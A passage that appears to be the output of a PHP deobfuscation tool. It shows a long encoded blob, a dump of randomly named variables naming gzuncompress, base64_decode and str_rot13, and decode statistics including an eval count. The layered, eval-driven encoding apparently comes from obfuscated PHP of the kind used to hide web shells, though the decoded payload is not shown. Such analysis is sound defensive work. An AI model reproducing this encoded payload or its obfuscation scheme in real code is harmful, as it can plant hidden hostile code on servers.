'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'}, {'key': 7, 'value': '72K51qYoq3qwnBzS31Bg3Tix7wXqMBW7zKmTrdqgPEHn1chYFYj62CPtiQQO018mVaIrF3keHXS2IXceej6A0KYROaDgBjl6KQ0Srvc+Sd7mewzsPsszddw1QV7SUl92+MnYsATQX24HzthVFnHDVpHIc9nU7Z+RtqmKG2wO7bWp5m8B5eaF5UMEYv+URJ+k5qEZ9jdJqxXYqus/57/+zBZ7y0gN0gEbVCSMMv4Rbdbx8jXKPHtF8mdNYfPdow+GQWs7jSkIVicDxmkhkUDFO7KvOMxligG+1bJ95Jf8GWyI41Qwm2SEOMKInCMaX3wuWMgJqMxmzd5SgwtOAzYpZAF2TbloB/qNO0sjkHcvmTZ7xQWp4/ejSm5ynQTp2m+JHliXp+KsmaCzwuW7Sp6othpEE2c3Lmfkyh7+DCiCl4c3C77Zr5xoPjSIn1F4As5yhNmCeQwi751nfHPv5bxzNXFVGyWNH3iGgqeX0Gvy5KkxB74evxgYtq5ESJPz7MuewpEpi27cLAn88n/q477w9o/dT/vp85F+TTtnycOmpOOENT39GlhyXIqC7A/QXAfHXGUp6r+FFw3L4oQUabWw7BF8U5ZUjnXJa62gCiETfNiHSKQL3LpJfy7FattJvXPZE2Pdel+SRYhoEr/4vvuYNs9hBBM72enusUN13TdV61ZUlD4eTnEzBdZCSv6wPamY3USnk/r+a6/8US4dYqD=='}]
$AN4hGR 5375101199659357bc43a60ad77406889b2597fd
$ChNWsX 5729
$EDsZxi 8829
$HTyFpt gzuncompress
$Ifuit6 30875
$RXZv5N 27831
$ZLrZnj 16861
$hluRgl
$kreCYC fc8001f834f6a5f0561080d134d53d29
$oDuqHM 24545
$pA1zYI
$rI90k3 Uo8mvj
$vayjgy
$xXCQGj
$ykcywt False
$AryTBVj 31763
$CVjnia7 c552646caf059dd2b3181ecadb4e032d5cb08571
$EKp9GUz True
$Es0Fm44 True
$GZzTvym 0d9fa91f29244f6d4d376326389dd9f87a4bea06
$Gsa1QSk
$IfftJtc 086af6e4641abb18caafc151b9aa95c8
$MKZwtng True
$MwgwVrn 89e5917ba61648af16f900c104003bf78f9da1b8
$NHmMxuz False
$NJle1So b535030262cfc108ca104f639df68d576d2fd6cf
$OBKcalt fbd88aed85169879ed4216e29957c0cc3ad293d6
$RMnPgJl OFaFE8U6Ku6H
$SOq0LK7 GiFWpZnfE
$XGcx1Rn 19737
$axYOhYf
$bdfNN9J False
$dogJFJD 598a440f38224e6eeb7000d6a4f88250b18645f9
$fAqLfyn e6acdb896bcd7a9dedf93af52f2801f7f141e78f
$fJmaeEi 85b7cea7bb6a5ba1e65d7f41c8090f61
$fejck8o c4976295beac2cc3838648a704da8bf2
$fhx3jem 7841fb1f92b99194ca818d410cb09430731b6285
$iTSes8T
$jWgMdqc 2933
$jisrwZA
$kmvlczm 21548421797e0548ad2a4194a4dc01713dd65001
$lXsNpf4
$lzwlsuA 14fe29ea31af2e4d7daa0dfa803df05c
$oezu1ea 27421
$pUH3bzl 042b1cd756a6b6b7c3517cd63eea2325
$r9riMKk uKAjJty
$rWJAwHG 3fac52b215716716befc7314f790ea8ec882633b
$s2NilPL
$utVETDm
$xjSWRLi rWmgsrg627nl6B+1abWE3IWdWSzF7GFkYPrB74ywB77xad1FSPHkyxvJcUkW..
$zgSMGsn EGPILC
$ApPLewHJ True
$BGjbspYu 19773
$BVdvIOhV False
$BZ2XXGfi 97075b09bc8da2c6efe5649a72a8c43f
$BphhBUMS False
$GOOKgQl8 sjCvQvVqLM
$GU0hlQNO 3ac88c103b945977e9085785158dac19
$GkKzjyEw True
$GuWNLYr4 xAXwEgldRc
$MuQH6HSp 62eaedeada371f634322780ae8ff95e6c269ebf3
$NlzY1yJM 23c894276a2c5a16470e6a31f4618d73
$OQf2xQQY 174ef86b57d96cc97c185dfcdaf12858
$QuEzL2Nn fyi51Blza
$Rbfz98TQ
$S3pPB1jy False
$S7ndsAxL c0ef730f5d58968ab89957d008952474
$TGoBNNlI
$UIQhIYdo 8313
$UcuOhsMM 247c0a953f3a082b83443b3dfccedffb
$Vgsoc4Iy 1f5a6b8a87cf031adf39f0a0d1105d1e6b50450f
$aKV0S0gN
$flMZsPcZ
$gFwNyEmh pLeIHLQJH
$kHitZlPT
$kNO4OMxC kH6mf8p
$lcdgZPC9 uqJ4oehfy
$pVuULksv True
$t20oT9Tv 4d134bc072212ace2df385dae143139da74ec0ef
$zA3ME5rS 8a662c4cd8df28eeda49c30da8bcb92c
$AbPF6FVSb 5dc4eb9f87745d9b68298f34bb21a872
$CtzGxIzDX VudRlLtCwMpHty
$GAEKCkINg False
$Hf1VLSrMj 32527
$IdjiSbaAS 8fa7b2a91804100cdf5ce5cdca686e7a
$LzmFO8MDO LKCeK40
$OxSvMlAQO 7bf84f010d2a4b83d747e5d11922c367
$OzX5T7jEh True
$RPKNwTuY2 93a9eb58514875f262c0128104f9b33aeb8ca8b8
$UQTyUbbiA base64_decode
$UxnsMwEHn
$WJrXYRzqZ 39aacea4064acd92bd2aa67933fe410f6a66ab23
$WqxrbOhCG e111885f8b7797884299e513ace4b8174a6e25fa
$a1tbbWoR4
$ceNmHb5AI
$dbXBNozgr True
$eALrec6Wb
$eyyEaGTzy str_rot13
$g8dxxNbVH True
$hoOiUGJff 9b70e8fe62e40c570a322f1b0b659098
$iq7iQVhUV 7659
$j5xKtATEy c57168a952f5d46724cf35dfc3d48a7f
$kWujgvNBG False
$mim5XFVJk True
$nPcW1yEuh 2d28795502dcd7ea5865a196f30f6a7de252d8e3
$qBUmsFIjU True
$uXc5GOCQU True
$wplWB3giB
$xzgnbGwFh 17667
$zD4BMgo0x
$AjxRDXz6Kx True
$DbntQVjEEl zlGhbnL
$FMt9HLRwuj d2bf753455674859fcd853bffe468f28404fdf8e
$G3C7HZRUPS True
$KrfClPiJkk
$M1lpT76Gc7 18743
$OVTLAoKLjA False
$Ql6bQggFJT
$RQ1nvjXez0 iJQnC8oiD8W
$Ub1clbQcLo QCSyBHHge
$XwJAdTmaU1 ZPO7HA7d
$ZmYySYfn9r 811dd6f5df68b249a48769bb009cca1d07042bfe
$afFCxeJ4f5 ubJzNhrbbXG
$b3ygxCbNtL True
$edAF3pcsJL 3e2500c59ab4ea1d914ac27cec5ae528
$geLYAWpoEu False
$kkQthyTRhc cqFGeHhpHp0
$kmhjuQm8Oi True
$sIOTxfrfmt d51c43b88fceb9f8c8cc37be2f550139
$tYCLxtrfm9 731ae30af8750c2d28720ea3c1f8c2b1
$tzqOospH6o ENIzvb
$wVOdSzbP9J 5069f8be7f8daa6310a09e278e86315edaaffcbc
$zW1kAAvKtF 8286a932fdc96dc15d69fedad733e501
$AeUfXZyODZE f044bd02e4fe1aa3315ace7645f8597a
$CLZMFfstAAD dSRFRlK
$DmiqlGvCzwB
$FCcjzeNXJxi 3fe230348e9a12c13120749e3f9fa4cd
$FnU5RrjyNlv G9FxG6K0
$Jcyndc72Ukq True
$MMmRFLeWzCO cd82540dee0a5225f02b98945f492c13e232ad51
$MXMlfLQxGt8
$McdDJd5Nthc 7105
$Rio7uXrj4iK True
$VBUAgrdlmPQ
$XMyRngugGy2 lLgbMyMrZ
$XsoGxPIRPec 073aecccc83d4cdb003e8f2e9c08bd812422091b
$c0oKOZBLF8T 20853
$fWdrfjmvxGX 29537
$gpaJwrXvdAq eba55fca4575e35eec8587f10ba60a43
$miKrQItnPae 35a12c43227f217207d4e06ffefe39d3
$rXPMMVTngL3
$wdujtgZYxrQ 23325
$ywYhoAMkECg 71dd874ff78e42aa8050469380bea669
$F09YGTxcLRZe ef6fe50336005eee1e8e9093bfe576ae
$FvCBWBaK2uFG b932db439388357e8a8f6ef9d20cedad7494e489
$PKjlocpWlTRa HBOXHQPSY
$RZQNrTjJzbXF 251d74ede2f5380e75a971b0b17132857e1b27a0
$dzRMPUMpKWdB True
$gnbr5JCgsZwv 129c076b1b22377d422ab090eeb17b40332eb158
$pnOaBL42mZFb tEgueAfNUk
$zlrsTbOfVxPk 13189
$LjKdtETfF9LPf
$eMqIpJqtnOpjV
$NPdyjAwhjFLOUP a46192848b243493bad248b12f2745fe00240964
$gpazQGKKTdj5LD True
$tnsfMRkWFDyQU4 True

Stats

MD5 534ca89476b335ad42ecf4fa8d896f02
Eval Count 1
Decode Time 254 ms